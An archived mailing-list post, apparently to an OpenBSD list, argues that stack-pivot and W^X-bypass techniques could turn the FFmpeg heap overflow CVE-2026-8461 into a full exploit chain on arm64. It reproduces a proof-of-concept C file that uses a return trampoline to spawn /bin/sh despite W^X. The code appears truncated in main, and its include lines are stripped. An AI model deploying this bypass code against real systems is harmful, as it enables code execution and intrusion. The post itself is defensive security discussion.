Revisiting: Stack pivot, W^X break – in the context of PixelSmash

gibletz1 pts0 comments

Revisiting: Stack pivot, W^X break — in the context of CVE-2026-8461 (PixelSmash)

Skip to site navigation (Press enter)

Revisiting: Stack pivot, W^X break — in the context of CVE-2026-8461 (PixelSmash)

nibletz<br>Thu, 25 Jun 2026 15:07:28 -0700

Hello,

Disclaimer: I used Claude to organize my thoughts on this.

This is a follow-up to the thread from January [1] which raised two separate<br>issues: a MAP_STACK bypass via stack pivot jumpback, originally discussed by<br>Ali Polatel on oss-security [2], and a W^X break via file-backed RX mapping,<br>originally reported against HardenedBSD [3] and confirmed working on OpenBSD in<br>the same thread.

The discussion in that thread concluded with the observation that "the burglar<br>is already inside the house" — implying these techniques require prior code<br>execution and are therefore not independently significant. I'd like to offer a<br>concrete counterexample to that framing.

CVE-2026-8461 (PixelSmash), disclosed last week, is a heap out-of-bounds write<br>in FFmpeg's MagicYUV decoder affecting any application using libavcodec,<br>including applications that process untrusted AVI, MKV, or MOV files. JFrog<br>demonstrated remote code execution against Jellyfin on Linux by corrupting the<br>AVBuffer.free function pointer via a crafted 50KB media file delivered to an<br>automated library scan pipeline — no user interaction beyond file delivery<br>required.

On OpenBSD, several mitigations raise the bar considerably: omalloc's heap<br>layout randomization, ASLR, RetGuard, IBT/BTI on capable hardware, pinsyscalls,<br>mimmutable, and library relinking collectively make the Linux exploit technique<br>not directly portable. However, on arm64 hardware without PAC, BTI, or<br>hardware-enforced CFI — which describes a wide range of commonly deployed arm64<br>hardware — the two techniques from the January thread become directly relevant<br>as the missing links completing a realistic exploit chain from that initial<br>heap corruption primitive.

W^X bypass via file-backed RX mapping

The original HardenedBSD GitLab issue [3] is no longer accessible — HardenedBSD<br>has since migrated from GitLab to Radicle [4]. However, the technique was<br>confirmed working on OpenBSD arm64 in the January thread, and a subsequent<br>update by the author confirmed it pops a shell despite pinsyscalls via a libc<br>trampoline. The PoC (authored by Ali Polatel [email protected]>, reproduced<br>here for archival purposes as the original link is broken) is as follows:

```c<br>// poc_wx_bypass.c<br>//<br>// Proof-of-Concept: W^X bypass via file-backed RX mapping<br>// Author: Ali Polatel [email protected]>

#include<br>#include<br>#include<br>#include<br>#include<br>#include<br>#include<br>#include

static char *shell_path = "/bin/sh";<br>static char **shell_argv;<br>static char **shell_envp;

static void __attribute__((noinline)) exec_shell(void)<br>execve(shell_path, shell_argv, shell_envp);<br>_exit(127);

#if defined(__x86_64__)<br>static unsigned char trampoline_code[] = {<br>0xc3 /* ret */<br>};<br>#elif defined(__aarch64__)<br>static unsigned char trampoline_code[] = {<br>0xc0, 0x03, 0x5f, 0xd6 /* ret (uses x30/lr) */<br>};<br>#elif defined(__i386__)<br>static unsigned char trampoline_code[] = {<br>0xc3 /* ret */<br>};<br>#else<br>#error "Architecture not supported. Please implement trampoline code."<br>#endif

static void __attribute__((noinline, noreturn))<br>call_trampoline(void *code_addr)<br>#if defined(__x86_64__)<br>asm volatile("push %0\n\t"<br>"jmp *%1\n\t"<br>: "r"((uintptr_t)exec_shell), "r"(code_addr)<br>: "memory");<br>#elif defined(__aarch64__)<br>asm volatile("mov x30, %0\n\t"<br>"br %1\n\t"<br>: "r"((uintptr_t)exec_shell), "r"(code_addr)<br>: "x30", "memory");<br>#elif defined(__i386__)<br>asm volatile("push %0\n\t"<br>"jmp *%1\n\t"<br>: "r"((uintptr_t)exec_shell), "r"(code_addr)<br>: "memory");<br>#else<br>#error "Architecture not supported."<br>#endif<br>__builtin_unreachable();

int main(int argc, char **argv, char **envp)<br>const char *path = "./mmap";<br>int fd;<br>void *addr;<br>size_t len;

/* Set up shell arguments. */<br>static char *default_argv[] = {"/bin/sh", NULL};<br>shell_argv = (argc > 1) ? &argv[1] : default_argv;<br>shell_envp = envp;

/* Create backing file. */<br>fd = open(path, O_RDWR | O_CREAT | O_TRUNC, S_IRWXU);<br>if (fd https://go.mail-archive.com/[email protected]/msg196619.html<br>[2] https://seclists.org/oss-sec/2026/q1/48<br>[3] https://git.hardenedbsd.org/hardenedbsd/HardenedBSD/-/issues/107 (no longer<br>accessible — HardenedBSD migrated to Radicle)<br>[4]<br>https://hardenedbsd.org/article/shawn-webb/2026-04-26/hardenedbsd-officially-radicle<br>[5]<br>https://hardenedbsd.org/article/shawn-webb/2025-08-30/hardenedbsd-august-2025-status-report<br>[6]<br>https://gitlab.exherbo.org/sydbox/sydbox/-/blob/main/dev/stackpivot-jumpback-bypass.c

Previous message

View by thread

View by date

Next message

Reply via email to

Search the site

The Mail Archive home

misc - all messages

misc - about the list

Expand

Previous message

Next message

The Mail Archive home

Add your mailing...

hardenedbsd char static include thread file

Related Articles